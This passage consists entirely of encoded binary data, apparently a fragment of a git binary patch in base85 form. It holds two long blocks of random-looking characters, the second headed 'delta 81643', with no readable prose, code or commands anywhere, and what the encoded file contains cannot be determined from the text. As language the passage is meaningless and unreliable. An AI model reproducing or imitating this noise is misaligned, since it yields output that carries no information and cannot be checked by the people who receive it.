z9pvoC;^_JsRznU#m)dhCSN+D?YW8>5ADsL2v#UYVZED~`|JRBGZNKJzeH%(=NY3RgtsAf+04|_t7ZJf)8o)t1jnf3Rk(_H>F zpwk#X%;NfIsrp(Ln918Zc6lxL9B^$9|1eei-U_oCJ77#&#<;OjsbfZ_jY}Oe$TW6@ zDSb@ZkPnhIq4f6~_D7I0wUIIEdvn2M|E*=rpkW_1TkEw5Qs846yq1aY5t#!(lcNi# z^=p;%KFV2^`qH0km9sjBbpWmeQTRIL2rG#L$3tkuIwroPVjc&qVrauU%p<%ljsnPR z-7wtj-LUljW8v9{PCZ$kxq1o?=JL=gh>-bTVOHx7?}bOC5BU$-E6eYnEJIdQ#rT1v zN%OzLtg_BrmIka>PEa$~!#syxRIpw#Z!ZV_9!i(jD=u1Z0B~Xw`E5|b63>CVv#8Go z7AQCMA90tOoIq_l48Qz`#47$3X7&1#R&HSaGFR}J-T(XzWAdUtJp4>qM%Op6;C?(I zYPd~5@eoIw*Rg(9pY@F`e(!b0m~@PQ{}r_z9!>tN4cRfchM}Gf7H*;b-zbAw(9VM1 zEm6x$oG7YigXepw@EfJuANvN5jy_0#eWQ4;D*`a&C#q4T1t~tL=4KU&Q?6Pz=obXMY!j;%D>?wUbls(H}+1`R$Xtg*WdY0gNzG z9agK?RK1w__vQh+ntNzd6(oKAxDT7!>)rc+eKIa>#DC<;l9P+>uf+9?U!Xu8hg1(* zUCiR8T7J}F3#RY~b`iGn?M;f?j!jV4jhMpkDP=7;Vhi@yAiCGkp*_e}~T{Ln-w;)>3+z z#o6(~)yN13I`JKxw9TP~yD*@;Z^JX|QH2QDj(w$^Dd3s34LoBP3LY6gx($1|TNay< zSSdNrOxV(_?J)lDe2xUsjqP~c{9}nAzL^zaPu+IH#E{P;EZ2{VmI;R3@4>wXck{XE z^f{>gixP0_=Bv2JuM!LiJFw&(u|^PV0h&?P{p}98zobyWWjhf47V8DkZYSb3?;B23 zqvX5@JKC}n&Q07Xkas%~+nObus7}3h!4zXDC%Q?Gwh9izZYcOw>$%eq;}#w)&tT25mwz%Z=4^FRUH1{GeE=J0FZp}+ za)-O{qbib3FIljf_M`vZy<&l6?}xj_>lVm^qp1ABe$+DamIYkz032<5TOjNp9`hC) zfM~nB7Kr1o5Pft2qVZ46aDue(nT4Lk2cc)&OAF-hgJ_eZZ_S7+k6O6qE`EV8@DTRg zitocex!Fq(;W6~MM#1kN!eeAB8-=oag1(XT0|dRb3iQo(xAJX6PsvM~G_2AB9A67e!+8QA9eiheBzN;fVaV zUJA9U6-?c57^V(SG+J)sUFfTD6d%L$^0EFhg&VcU&NO&HCk~T zCWMVJ(uovA)!{zW*`I(3YevZozSOUW(T1j80N#V+Lnj&O;83HVg_9dO9x++L?+-F! zv#e=FoNZ5{&~K_-7-@kA4_Dcoo2iHwoP^COSu$1CBHp&A&>Xol>GUb)&v!`O@(*DP zq~|G|wso5&Q11)`A--O8C?f5zb?>0~yIK8+lzbsEpAB{`gEFa5Nb4xYv#>V$kz zXq*9AOiNC5d#)-ml2;0bjGys1U9v_H8y2GRG8P!!_|B)2P@gYU$^Em|%<95lr&YL` zo`Ge)8>#OZ96;{g%RfEo!~AP89nqkP>$@Qi+CHN8)97bFQrU6_)P7(=NB*+^-m}G*txQcL5{b<3K^| zyMPNZ85b}S4i7dX4W-A`1>tlNz5ZaRAbMZKOk-~p#QKX+*)>WK4!)6kdV3Kj^{XwA z*h@IY*2kC$e9PD+1b|{W;!6)MVF#~yGeLB`j7l!F;e;P;xQw~KN-`(fONX#cbOq~` zJzY8NPVKHTEp5Dl8Ekrr1=6G`T(`f9>aTS(!}X;6-U`t=(w;W(;$-}iDA#l6Dr$V( zp8~I8zgIIzfHSYLTAGnVBB``Tq#K>Q#u{pJ(iF=7I!?PDk5H%$-69Rt;~DZ~;dSJR zAzj8psp?HYe{!hxSQ+vn-y68$kTG7N(mAzml0yA(14B^qWQEcXMhu}LTyyqQ8FHt- zH*tll&UA%(FubDHzeYw{j`E#mkkfA%l^t(kQa&)#OyFK&dZdH+J}7x~UvvvOk^Z@0 z`1uxQ(Gl}Fkt$8e5nz)kkzTavH-zeci#QTUuYSYHMe0|w4Q}K$8<9@_9Y+4WOo3K@ z9_cKC5i>W^a_C&MLg6T%hj@;h8|gxJw;|bb)qC8B!fzmEF$+}=tyxRCw^_30^7=@c zx;QeF^nXAue?uhI|1vUw4EzhOWQT_SfmnZC97!!G(vODz530^DQK^dGM5q72vF)ub zRQ*rZUbCw-l6o(X4CB*fxU}+HI{qh8VCGix`imuMT74Hu_g10`dF=jXl}eTSw*0>_ z*_`?dd3=NaKSgtFdnAoq1AZ*`aZdDoBo%xeS%tq;D(u_6Nu{C2A$s&T()rvKYJ3L+ zNXT`Xa|iVK+jQX$(*58gs&N-b++V+-QFmdM%WMAWMJN750^hg`gU6JU{vO;2(U_>$ zJq%lcS`)3l$69Ju*_r6xJ=Rup&S0Vj_gPa-S7#HxoeV`?+)Q-rKCZ<02a)>&oCB6s zr=bsU<~tzFL^kdw94zvws=KGjGOG?pkmex{?T18D;zO2bT|)6?82O7H;*L;pEfcl( zH~EVzdQOk9DSfOql|IJ4>5D)UHhcq24%GJ%433L2!$CATp&~Hn9w8IIsw>JWm*KwP z+7^N+i7{!ZUl|`hTUj8>YMZ?He1t1IZOpKN!XE?K+?^wMyQaCxmFAv-D|wHh{!UL0 zx0PB969VO3Opan*Q2PmrkBp+^CwvsoqJk#~_L|vrhks6=OELdo4Dz2(nfw!bzyVLu z2si&hf4Py%iB{6;#Wd_GLOV3yMEV(~D)jSH7!tCS-aKVpG>w*-=*DbQF!kYc$rt~k zwk<2D@L$x{V>Oli3k4Itp$5;;1Zl-4vL};|{IwbKe#w?+c*ef9kxo9tYe0Mh|5 z$5D?T1^RCVs(%Ue$YG9p^KU|Pkv9s*l$vI(MIC;)?X2GVtoMtFuIxAYQqD_dqi_Y+ z;C_L2zht4ZaQ=uH-~S9>I^uy|Ej;fEu5>bKsOJ?E_MbmTP?(b+K}cj7=)|=uuc0qZBlQ9>l5r;soDOriK0nhv*S&l>2sw$&RO3ucg+Kz)Dt^Ea} z-GCa0f$nBCBL>k;JLWc+8}R!K)4#Y3X0;Etsui{Iwh#!eCw`je!)?S5e|)`SOR6wy zv#%mf8GkbmInQS}PCED%BD?_gsrQ2#R;SXpteVVKZ*)@jN^s?T#HFo4Pr)VUy-zuI zPcMf?k;xw4g3!KP$-LeiE((vLatFZjtI)g;uL3O1GSc31rILGd8~?Z#F54h}>Qj*B zQTgwf*m>M31x@pXCD>d4V2{+d7RA3)wqX0cgYN#dY3e&=`)@|}x3%WM_~U3F^(JAj z7}{UKb#~f|MKi#a4KDRAop=2_>uB+k#qI{p3@1^$4@_0>zaMXy7auKezvqpL#%nK) zL3+{{e3_dZ#64MVg{L4`O;prh8&E^>oihq$Imn+u#wE;AE>oQB=?>Du#bKpfG#^V5!ew zDy|f5wD?Wfo0X#7HN8hfQE3u#*iboI*dYHvC_>12TU7EdAj0n| zuvXp2o{Xl<%F)$i-{l`hgYVh!Jy_*?`1mNA*d5;-g1KJQ`{56ERj?OkJ(xglHqqiF zu6diLbv}j0rm#?*2&ZR7QPB{58IbHZUWCVy6#Sk!o0i)|hsq81{!8#bJf~^(IsIW1 zEshiowh$XOhazmF#mhy`QF-mtF_$&N7PfjKj-OAXZKDGWw<_JLRJPdK>h?k$3t0Uh Da(@yH delta 81643 zcmZ5`1yEeg5-z^GxVr=h?(UG_8r(^6ch|7NgKJov;O_43?(V@QSbzxd^0WVa@7}jn zTivI>w&|IwGt+ZU#`%d;U88N{%K4V0(?hx{TiLLf`{1^8cIi7{}D{{fRPU;&9+aI!DY4)7e1 z?p`*e|4-ck{^JXL0WbDK*%4U&HD`UH@dzCM%E=%U_i+Ee`40rP{|j%s!6PNgBSLf2 zM&x+`ViCDt=x;=7h{_rQV&cWW3cnFKp_WL@FVql;{oiLY$R#Zj;(z7&PZ4^Ms9%cF zgM^d#3kmauM+3anEfEbsgl%T*X3X~gs``(KDS+-pEgHc3LOTIWFZ2vR`9d*)b}td% zfbbyAh{za;c|d5cGst*}-+}M`1)+6t20_!y2SL-F1HF_v0r_S83CL6sBXLv&)c>B= zL^EV)4Q7yOA#vGk2q^zG=ZQ1O(D5UoKnsqE`UL=AVT$i1q59 zZ0nA(=8;~~?k1dl5qu${gnwaLNY7zkm=f}1SoDAVUZeTTBE!MJNFpTma8lRxy&{2o zQP`n+4`trcghFjc>A7AcwM?S_A}m@^CXI~w=)b?XL8s4q~XwZ@BeBAQ*xi(teK40thCaGQCd6z+2` zzz_EyP$%b}op9Ly3`{i<#?b-;24LSaN@=vhdEE zF^zu%M~M$RD4REdWCst23ak#{;e3ny$_^kFos}OjGtPb!I$*y_tF+gzv|8`J_U1I2 zHNS!{!{*a4?{YqW_}qN>Ij=)vvqMI`^=zwiA}=NHH!;sFX=-c9SwE?x&HD?NyPNEr z+mNwrZ!ms0G9Jr-s6o;WB9SOv-=X<~cwArP+wpz^^M^G~KM-a_-^`}7^L2KU)`TMVrouOHm-z(#rfk!TY??U}3}jos6xOEJklyv{6Zg_)1F`K$N3Octc5gH z{3%C1Xj#@;L*)z6XcEd?pq2XEzICYZ#J5jlu(wDW-b8wuhyumB;+7tmRb``}N)sRg z;*P9frTkL!6w6{_-7E?f6gZn4j9=Nm0)Bsbb)JKdsKL^p9*Ne_ucCnF9=%JHa(>mE zX%ne?T%TEp9gna@{f-+;J7s|*>B4a(HL8A}Kp*cX*aLn&)cePPu$O1;foWn--OS&Qp2c&1{abETiY4gU%=Q2&1%rHg7QR(JAfXqTU}- ze-3t2`qq|zVaZ;(B}KN1{gJnz(8R;iqIl_@yM70UK5EKmotpPrjEvtea+ipr5;oS+ znRsyB%LCdU*GyD7zeX_*ssnO4-en0IvsaAOPyu?i)Dq)>-TI+=(l{8)lMYMSbtfm0 zUP%{DjW#&Gr+3IK3uCs&HMVu9v>OSgp>1HRV%w6ig(bcbZj=*RTcZJ!jwB8B6uuw4 zEq5~NjS6b*HJWy1D!P0E-|9oiegm5{llV|F)>z3su}ichSPu8$(%RHPLmuJ3mZbJn zErY~eYD=Zm%xV$3mLnQH!aoKF;@LTfVAmu%FcKg4)ywWy=bQjxgT-xRrh@H<5QL zMX4OS7gSiPO{vaPEPW7ClBQ8tqBrkezoS89O%+;PQmM_P*pL7pvloOqXp&;Ti;14j zPgVZgD4p<|(ivpu6RPDEk%?;jC%$<`^^LC%-1AC>dKHWGCImfi%I@2G8`?C`U zt~X%yUsl4L?{e3C?{P2{8&vH%uV9Jsz=2{sJFiTOCkk!U^-&uZG}bh@avV-xb1kr( zXc-UcWN`@u=GBM_nb%@(Sd^mU@oEFdeaL#59}bzZMan>gvueyOulQk4n!$k#6y^KV9ar-U|}{Zrp- zi>1=OWfIYPgO^MYu(-Q0uSkG9a`hx2zlZrt#DnommHv$682YBWY)>ONR8Izt&p)-6 zZl47|yBF@8P?6Ked1ap=h(|dtUIoLf`nOgp0iK|{2?1w)D);n{8ae)qnX&cxD~IUK zqDxJVzrkfstu%G9%kfdB-|Jk4RkbA(gbLaFa5or~_>-8bk(p3N8fx0zR{&fd!X{0N zh6RkuxuoO;hiVoDH)#1_?9_bzk`Ak#3Z~umI|jS%3)irBe=ewu(~6Fo66Exe4d$ja z|GZa8y6BgSTGSU?XfnawayqZ9J~*uRsu@p>AD3cPFy!kZl4W`GesymIbs^=jl!I7e zO{&daRcLYPgzDfM8JxH%{}ARNMcp3!%{WW??@!D7WZvQ@3O+XyxXcTt5_69~)Gq z)P`Y)EobG=#=LeMZ%oV`@wgu|rY|9Zls&W!Hxc3Ap!f^OJMncb7WFV~Aa?n8%&r}! zMu%qIx81;c#nYv%ER$HjPzu_9366gcI@KLvW^k@peI z!tf5=v2J$44shxV8FVdbwl@+S_0G>Q89tjCXQU^sj%$lF0_P@=vZkK-Q zhbJ(#>zHgyAo;_Oc89TD)%JEgd}fl0Oh&#`MgE@X9rDNLDh;kx6jIqMkdM zma&Y(+2X`4Yv5otZZ3X3tB_M<{;3JqtjH~sW_tU~7L!b5uX=ZX-}V5}fGy|!)w2^q zTs|H% z7Ja&kH{0L7@F^=@{#F7S@np7!j!c)fEFK)~w=C}56M?V$nJ@mpKE-i{Hx|%)17P8^ z4S+j$U;;}YRcGF~i3waw>VcI%krA$>;3OOwvTyrp4iw0lgHh8!i@OZzpX~DDACOW| zv*Jt+Lgd3#IT}Tn2-u?gQpjwGrOk`e=*q+wI*l!~8^DBx{b~iyQTjz3p7(N!`XpY+ zH>L2p^WZ2We++E`vzklXg5{t#Ajd*wLK~rVH-4#LdX4r-O@yy&%16r@Ttkz3`-11D z8R{k@5eF%f)t_}_O?mL|k6t&Bm0Qail0f{lr{lrdNvsF6}B)fO3#Y5e*Y4@Txa zIsZe*x9jl4So(&j`~!o2zZ@U(rP1_zBIfT`z{pDG{o!1HlVLQqHu@mz&kwk4!)@l? zzgfV2**jAk%=d2=u2)CeW6HdAtf$p24Y6<3^J$1Sro_dd2IO zIiQEZ)x_hcrtdXM-9|&wn=?44LqJvcBd|e9*N$JRtisf8prK67=R-8)(nXZ*ZuY<^ zhg)Y5j(Zffax!NHf7XC++K6xVuI$QKtp&1jiS_GLbntNq$VXv`=?6E3Wypq&XZRY- z-!572o!WhgEE-;gjj~yl`Hi|m>H*~s&Biq{8NDtQ<(=Nr) zcSj^15;=9gBSmHwYQ9Q$jj%kO>9cZOa;_`NY=@9GxBr_9CcH zEJZa9K{t)nmVJSPmdZw|dx4spVJbZ%_n4!^{FcsR7Z~32BTSCdVNIf`1PX!()10*S z>M=t{Z9@!;IOQ?1GcwB7SK{AzBTF-O+Xzi78cRNJL@5Wsj;H@1lwNGOQ1oI2ne-uVWK$TY~k5VAm$gk9g`EVX=q- zPMnbH%%)1sBeMh3&OXo3%*DavvWbk8FRL$df)ZnDle4&BNHZpS=G!6-+(vTopLZOi z6D?(9DA;axVpHExJ-CO#%?U1+r88^;@BUkO|4rYCD zC;W+eyxXLXnTM;c<>gac?yS{Ge#z!Xh?`HOGsib>(~+nTYzMaX@Zf&yzz=lSBhKPQ zlIU=dZZ857?vq&Beww5XYK6S-h<93Eyjx^`^Y)`QZn4DpLX)#1(+{2F;Ayhd+jQ3- z2A>xV4=%Ke*T?K)4H@2?rnMLIIFKLu*2*{0`Fi;&dpK~rFDO5-*05ZAEtXCG9J&ln zcB;^hOc|I2aERQ`yOVEZE_@i(Z(JNo?X+(Fe2wXR(NXF;f7Ra;6B_wh>uglW`(BdH zcKAnjf3gZZY$CzP*WRpX5%9ejj4SV5R!=6K>ZqqEuI!%fcb9t<&*zpz?N+y2O<$hb zUnyX;ao$VMf-DNk6OqxMsul&~o zbq`9s=3BkAe(543o|uE4KYw0{+#xy6_;1nScPX7cQaazue7iGU90e>iFZ($sn+P;vu4{2 zeOE8-Mp?)26g#+^kF&wQ2a^Xg91P+w_t0Hr_;C6jnfVB=2|IO6k=jNg+9tO@W=r=m zye}R4IzSmRWz+nVgqM~OJCR0lbiHeJ{Z{=yEifR=KOKvlh%jiIfGHXi%816oLl5+l zaUh(RBfd)BF2W1LQ@jg>h)e0<(Ed5=gM1mz8)0E!9umchY3f|dhoHDfrTt5{psu2! z4BDX3Z()MA7{a>-p*m_k!7otIN`Kf&KkVN>+}}U^-#^0NKVs8LKT^+!f5JjCsR2X( zFin=P0rD?NHr3MtEKy!$;JX7Q3gPJD^1y|02`<-ssl#K&_e$0gq5wvoQb}4)jm``HS?_CLo=L0FtHy)4xM_DanvI0NP7x+P4It zzf45aodcj5iq<#*B8gw>Di--~T|rTRekeE{4fq9(HWBwXgO^5C*2Dat@xM9V!9lu` z0QgPw34jf#c6|~61l8_N26#g`;Z#68w5HRUfGwy8y*!4py1yPO|Mf7J{hxSgIe?E) zJK}u6A(TTX0t~-&p_-=Z03VTGhNRpH@P(oi-2e#rOZt{ufXf$9ZyR9v(*0^`-v^9A zQ;RqRP(l|-5LBl@00_H-wOj=+n6cwNc?n8r7assWOj-&X2rGk z0EasF8)u1pe=wICRnVQd%}5*QdrH3vH>I9eOUPkkTn8Qdi2;NptHeU1FN z8kW)!}TB$r}^iW7VC80>c=$y*qhAn!q10(BRM#+qDV$D*F-uI4rEQl)6-l# z0W}H-05dO@Apn}>3`<`asvlt+njZoM&n1VSaKCX_xhSQcDA8b1wakzNQsK_K96!OR zscmE3k6NKqBbVMe@uw)p+(uQXzXKm~0|Xw_z?i>-j%HL*cd;l*F`qsVk)xR;t_u~A9sh`;Pe9vtcF-Ndxh_jM*9 zK(JewmbSsj<5=?ST=>qp3ecwZagDmtEhrO~6 z)f+SIC-G+A)s8u^X2w-CF4SPBdkwheRf?q6iHtZ%(m%B`4x-OCjn}v)CyuZXngsP% z)3UKXlpBPl2=M3RCja_qU8ayLBT9gy+0U5LZg`Z-LBLTsF3Ss%o9+*Qkvu6ox&woz z5i0toU-^)=F)6UKDhajN&sRqk53|VWdW$O>D;6|!y=R5B?96zxVPiYy+=o{rF29Sr zY}AA!mt@l*qz3e#@glQ?<+f~ye@;i(yGzC%>@z@X=BQ6qp9^*t>|rWo z(kKx&SRl6qe{@!>)zm-8V7W_cCIwHikHa?_n(Pbd3eqN<4phSnTA0wVayfHsn(bmU zb6r^&*zB%(CFe3x8SM%^REC#1HN<>ReGtv!x`O``=aK3~9v1#P2dHZxTey0b5l*p# zh$A+rjQi?FS?Ld|SW%Tkwb3qtm(~!QQahTATf5aR%^&%pDkahZW1Oy@1zNCw8L$rE^p~CphwHpg^Pk=2X^3fi$J8~udD8r@Jn>@JL3&BMLBI%HvpjpItn}PB zhAhcO*lW1bQFaZ;R3xJMQh0msYSV3r;#+P@xp;K!VPI#*?7|6u^MvS$g z=?keIbxfRvp?>viEYs2e^Gxoac8nuqTxB#TrKPd_s^4`++%^|9C4xfR8?tVn>k!}t z+L-E63m2!sgOybJYR}{e<7R0Au@33;SMFYT%wHmW9v}~hAPe@` zr!GDYh*c1S1dt!q43Z<5Dv1CGh<%LCsGCByVl3YrdI^4);lRdu-~%Pfi6rhZEB4sL z>nFr8RU(O4`55Q*&-{ zg``m@9VdeOnrZoLKpocy{R*lhDDlm&$fKkt3BD6G6<2*mS=WF1z>K>R4VcEp7@#5; zUEl=R@BXC98e4b^h*s)#=%8 zAz@g7LBdB`Hu0H7i7fUwYSSh5xow=zvWPPw%w>=CBr)^OpFKK1+a4Fawau1{sjr?l zX~}IFz0ojkU4#qcn3>McjD*wXNhz8bw8;83ovSp2Kl?|gK&tx77m9BG2FT3GS40^n zl*&EpxDR&SLe0oCPjy%CDp7sdXU<<6H%ZvNRpVbD@;ef&TyhSI@odSS-Q9RIW}7l9 zMX_X|iGS~!7n5!(&C}22r&nX`Z%!cmF&k}*e&^;mu0`x+E+1Caa06CyL&E`^|5>yXZ z1w4cY{FMfb%@by-S^$k8a*poM(Lt_+Ke)GVefaem5ji-2 zKSCf**EVrS3%6+1X`s)TwXfr1EH^`{Jx)H2B{cKSYwG7)u zg1PHQPznF+u7kAuE|s2D`a{wA-kl%FXOdNNl)!}3$~I)AakM+i>_v;@g`W)cAIC|P zhgTEWdfT-!=E+~>ryBO$1ltm;->7X$`_{*Xo~m6d7Pdb+27sT%1ej+xsuGUo=zn+O z!M#$}!_At{$u5wriWLxFIJS*63G<`YAqzmXrA`X`fi>Dgz@LqLi&l##4zFMp_aovv zl0z=Yx97s>$&;l>=O$>1exZo4LX3=DB{9gyJPYyJ>Tdu<#UTz^^+b2&0op2YkBMQJIci?|hMS?ux!5t}DfBLA*m~+1<0$szICBMt zLC#ckeDb63Mdsn=$e+h43NUOl?2sh>k~BxmDRr~)?)!GjUD{2)D_94jhw0z|8XWU= z-YYC{vXWnvvSRsmOgOSAPqocgo9)T~UsR*&MPX$GJV;m$kVx8VItj}W7>d#m)X_1! zQeLlD>E`wNW7RmjpS};Lo<#}^st1b$ry1iDdVq!PEYAJjK_ig-${xav!?U$>L5q=} zAT+92&s35&lC}rHx^Le2T+mVDK^G^4_O=8}RHP=A-o_C-{IN{McW`apqh+c3RP|Md zbPIl~c>UR{JE|32j}4F+lirPZpsS?7RV?*!!rzY;Adw-z!nKaz}FP1hHHO0-qx zN1TQ^e=Qxk{CdUJH$tw$>D^v}v7%0KMR1aaI|py8gpEmNO6;E5B*?4_dNXk-WFpf9 zHhvXjBf*%2x+k|Ddgwtl(Mkb`DV7fr^yt3P)T|4UE7#?Z=F+&NfgGWu`dRG!z1Jw$ zZ;k~Zbyi=}kgIk5YOsB3?JXwpGBbuxM}>B79iv^?cau#=z%qBzku* zVLVKx`e5`s)#-DypUa11RZZmC%@aNi$%^-qh(yBBd-_E53)#1UrQIsCKNLvs z+C27t39Ndh&qj3M%SG@z%CcelITVdCk07O4xF|_%We25XS;Ll(Vb=Edl#~)02Dndy zuK~k!O8s&6m1V4R-fKh&%)S0on>xG>#S5CB_)qtP?=W&x1|z>>ZOcKvpbk4V)Q12Ir+GWvu8^4;KZ~f-` zBo5=Fz%HDHU`m$>u%Ao+{HN5D>S_2x|hXL^AW{V8$IAd9r%H@K3IewqWzI)@7=J zDJ*|gOXE?4Uh$&EwtTgBDBdj(1$nRqq2B(ioxSG2kyM;^f7`3doVUNexK7U1#AJ0rRk_zl|OL3-Y( zAV7tIX(xiroC1j;6uj&>O=ays%6}UpVX>N@o`25El8-p+mdM>WtClb= z4nOcl%}QObk5bX2XrwWHmYOM_vG_^2j9nQu~=brqncvY9^!TUP>SrCE8P|F7HhhYyffWJ z!o;E5SrWG=#7N+RK?-<3dT?Vrzbh)|lfC{J7{eB-dhzZ8G67#pG<#)4sQHj!M?PD_ z6qVYnEF&7FyUdavwm+JMNgn@L9V63M9B+`k$06V&9Na;9Hg{z%K*BoUPYO)D(iU$n z#kGGZ6~2=Mp7uTvcd~-h9fuF(_6RpiJ%gIneN^$D*ImGab3GxUOi>9&;SAqukVg^B#FCN>FDJ;aKw=oE+Y zc^?Zqbj78&q;+&3xy=rY;k421)~#0RS1i$xHKNzVY}p;mJ4i8|;no^mRulz`oVX7F z((wps_NgH70jmNsSGKp*IR1RLAz#e7w@A9xA1vmjVhgQT+h)A_iL--3MOH{eX|o^J z&KN!ySNT$3vGDBaBLTSrvlqGz>7;(2!^+RkMtIZPbL1>kQnKjlvwtK;RN@siaKfvj zUH?KbKC@8b5A!-vyRbXyh2RC*c*|p2nTqAT>YD3^H5QSTE!FPN1R*^|OCWt10s||mGoq_=@xuxO zP75fjz=_zfOq-Ar)7}j3pK6HTK{l;MGa>B3$`5Gk!Rcr@;h(+c=2--N>srDBm*CYIdU)XcbIFXn+%5|h{#^91qtu~su?Z@)fJ`8** z0h7z)rzmE}O@^esJG@VASt!M?7LGIAr{C!}(Ky&(L$%~Jm&47{^YpS7TD;~P*zEKqnZ`?xlA{9S}7Df*qoysxJFIZ8yQ*lS#~D?8@g>m9oGc8Aon zNVu+0Q?tGI{B!7S=*RB1aUn;t4(-LV#o$Q9fi2q^o`!)q)u{F>`ryO~jKXras=1=L znRm)_VJ&EKEh?Jh@CeFs4qxdGrGl`S$Yb8Hn(Hb$R9uh}bzfOmXU2+k;yfz;?j_3{ z=gyo;M4!?x^rO|n)h(2%b4iw`cq@R+IM#aG&b_!|VbJk>_Bs}+f(71!u}Ii^-VUr) zE?=uyuPG-)_uaCyoQx}VGSk+6$e?r0R=0bJ3aGTn?AK{~?V>8;D7j#``=h;O`S&-T z{?6b-A56>i?K9#^+cV3-R-yYL^1$M$zNVa=?svgje56+ELiu-Nn3PJv6jZhMeQI3Z zm7(Vbiao;P-Js>+FUP`f{g0%wf0ct%!e8^Mu3GTiMPGh3l#!R|is2598Gn0?c|Gdn zj?L#>ndrm5xIwxsh6--du;Z&2hMUmiezPy19(0!1)1hjQ5eO$VEno?-*;gc34#QMV znimUjdXxZu52hu)`>N458E^Sa7fva60pSG{+w!;<7lte#rXOCdVWmuM2>t?_z_L`z zP!m^wJ{RORCXty1&`J1fpyB(m14#t*=w#6IcGUA=?P#_b2Te#U)2^p0fYB;OD&AIY zF=HTsDJ5!B#KA@Pb}~XrRN9K4NtSFBly!1K{+?lf=uHov-D7wS0zAEzThdn*P&3Ha zq8T`diZ)VOQB3S~28{*6<~+cZ*kxNG5juUW8iT~1Ic9{K8^U}du|yKcnX_FDl603A zE-Z8hg;ywTM07Lh9R7#A#tbq=Mu^D_6hj6ph!okC*KdmB#}TrL<<1mXydiCRzkO1< zqH?Y9GEIK4Tc~v$v0Jz+_bo_Dn(>v6*XJyKjU0e^0lBcb<{!xE z>^>uXYdjMnkH?WCTUe)d30r5RqC+H?ux~OnsVGZdo-p-aBA@?RW1M6e_d#d+n8W&W z|J~QkFkxb<=qxvp(!-idEjLN`kxpv>zKna9UeZlSxbWtD`OryA%22MA%7u#0M{Zf; z*E-zX-c{I<6oVr|GL`n=Me=?%<$4WO;*ZEAOTz;3=61yStVJr9x!X$uw-LIyT8^QqrHm6v%gxzX`IR*s_IzD+i=c^uY zH4}fgK>wg{D@cmy?ZL1abT2>tc~N!T$t`+RA=_&3x2#fGKWBS3b=T-1z7=)GQQpr> z*dL~}esN;kn2M95(x2(FyhbMAF3gYQ}MGoyg8KVV;t2NAZs~g!{>_Ta^Wpf0WmnnAqTsW^3h7<}_{N7B#wfl4t|I zn1o`BY^Yn-wc7Usn?8sUwU>frA5L-Q zW&rlP)yE1B@xu)H45kHX`yWav731gggX8Xzk&A*h>v@@`4CJ~K+~gBCH|^^lb3U>b zuyyqvM)&g4DD#st^hXF13;`;GUfS%tn)6=xVtLBl6X13!|zmKYpHvl z?4q9dZwhf-_^{1HFXkDy9&k+zwjKzl$s|AhmM#{*#KgJAq#7?`sKcPDR@1h*%uB35 zy<2fhaJwMYG?~h_6WJTzf)CLjpy~7^tv&Eca8&(HO~gUL5_j8FiyqMUQx~!bvrj2) zgSH6Rf5ttoG_C+W6a3FfqNx-FGJ-az&`?1jXd{Y<7zBaJ>PSIN&_B zngzaW{(V?L0Z_dsHqa+17r+Thhn_Pi1VIAOn_K-ipq>{4inky~s9L-Ps1?e+lLmc* zefg5XV{RRz;O`xECL~@JMBJn+3u=S{QwaNuU;hFrF93u>j2+Mywq zPbz`-pcYuSUpmwOuSL_cGN>G?9Ht6dgR0awR@&zOzi8p=pa!VQTTRe5lzXiWiiRdx zuM0wf)}i-3sDtEXFoE8ne{ZX|z@R0lUP~ZI=tU259}22@Q7a1r?Lf;F8wZkvmSzzG zI-~ptg$%TS7GBgcTS4p4sDAArGT4`vpGiw^5+tVsBnc)Lr=m}hRKScHo*nsyBu&fJ zH;y2FnujqU>Q+`!@k6!Lo@c{e`z_694b|hu$~BuM6Hg{v+qTBG^NZFte0^=*x@T7l zPQ_PPo;TF@88;sf{SJM>TOhXf=WlZ`lZi_HXWba^>{sm}U8;L1CpS$r4_N-?qHKCz za_2w8DM-Lqo;1~0wZHywe>&zbY$R7-)}BAKJh{2Yf1>>K%D+;y3JECSKyABsj6L2f zhIC2npYy4!{<1a15RsjzOKa#!4tA^hiUg%glkd?L^n}<|cj-&=T#Ejf9u01~DvW-v zzRKo(8jDKc*l;r9u%zO4OQ$Ms4C8WAso%7ZhEo={aL~`;vYL&#>05lmT2#ihE2OD|JJMSH zsANIzO6xjb6pWnIBJmooasJ!k&4;G^#e`}a_g?+&ayiJSE)XZ&sT!od3nT?D8~Hv^ zrd8EmYyOxV&9qcbXI1g_^=!dNsSx6gEw{FmOa0-|6!F`7ng$YtEDNQMDAZQ_4v|a; zpO5)m7mWT1GqQdXugTO;g{KoY@Tr$H^VY>g7>kjsH(VmA~^|D{N4)Td6p_oa9vm^90jLoOxbtej{_ZGGB^$FqgaOP-`pWPq| z@b#o^i!(w=Jy2JEpsjY~{KC33ORVVr_G&Pp;#k&lCxVEl!LlhW^@2uKSviJR2Rile(6gk&QuYc&>SjObEz62PStb7*z{!o>H|~*vDt*7g_;&kPy@}pF2@Eg#3O@D0 zVSJ4uE9Ke}q`a$+elY|ec;e@gx#Svg&(bzqQ!W&hmw_Vah03Sn5+8JLhA09~K|C^> zsf?p$Dv^U7p`-7}(FP_lk~(CQ zoNHP+3YH8R(PF8yHqa!0P1(RYZ=b|umzkeSca~txyQSqvNV?-(F^e@B9X*@u$KH_J zBv7cCb{}fwB-9jG%gsyfA2k(W&}uXbw6h-xtDOk04$(N?+neXEEFILUO#+WfDB#`V zb|+ZKuqJE9lqV}7sPpmIp;yQkB_3mX%d@kJ|MVl9{XhjN&EVb{-wq#W!*wrl)qdR~ zoQfJRg9hLFZoP#_+Au}1*g9c|!-Ct~v3Ml5!em$AC3DT0@fUmztKzgxc5FWCc^R@@ zh0t|3ei1=g`HJ0e)%-Q5RT1i=lUv_WHGyBucBgZS*`+jcLtYC>s*z7Ezo@_wPaT5E zlV+Mic%JXSSlhZ$Y)7_*SBxUeQ{w18hT*<%LK03=W9@hdS}UIccYOLjN%jXXeH*PS6scX)Q*MT+yV z4J~l}&ai(p+nxmeAF?W$#G-lm%=AG=py}`g!gx1Ju*NmQ@ebERxqrImj_ZT4W1Hqw z^jmUnmUWArDHcCiu*uGyr<{a_ZQP#R#m?&PMW>TY-hE3SyAZA^V29{a(~SB#jVn#G zXv{(<^+J}!CFnx>G^ve4rh>VLtJ=HQ@E#uFgk0t;1$l{BFgC_7fZ4?%`bM26lp-@2ju+8YJom@>CP# z`OVpx%QGL=W<`+bmixencxi=p9wIV~@=;IXUZ)uX8?Qb0%5qcP3FRI(C?a)-UBdRx zHt4kn@!+_zY^*Q*dhvCeQu>rIlIYx+G%pKW$-!H6dZQ6Qc7l_PP9`DI3kQ?K9YM)!oy9^3s9h;O6PQu|#5*%Y5WQhI=y9M5&9 